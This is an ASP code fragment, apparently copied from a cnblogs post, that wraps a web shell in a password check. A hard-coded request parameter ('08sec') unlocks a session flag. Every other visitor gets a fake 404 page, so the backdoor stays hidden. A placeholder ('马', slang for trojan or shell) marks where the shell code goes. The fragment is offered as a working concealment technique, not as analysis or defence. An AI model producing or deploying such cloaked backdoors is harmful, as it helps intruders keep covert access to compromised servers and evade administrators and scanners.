<%
if request("id")="08sec" then
session("ISUSER00")= "TRUE"
end if
%>
<%
If Session("ISUSER00") = "" Then
response.write("<html><body><h1> HTTP/1.1 404 Not Found</h1></body></html>")
Response.End
end if
%>
<%马马马马%>
原文：http://www.cnblogs.com/alex-13/p/3892367.html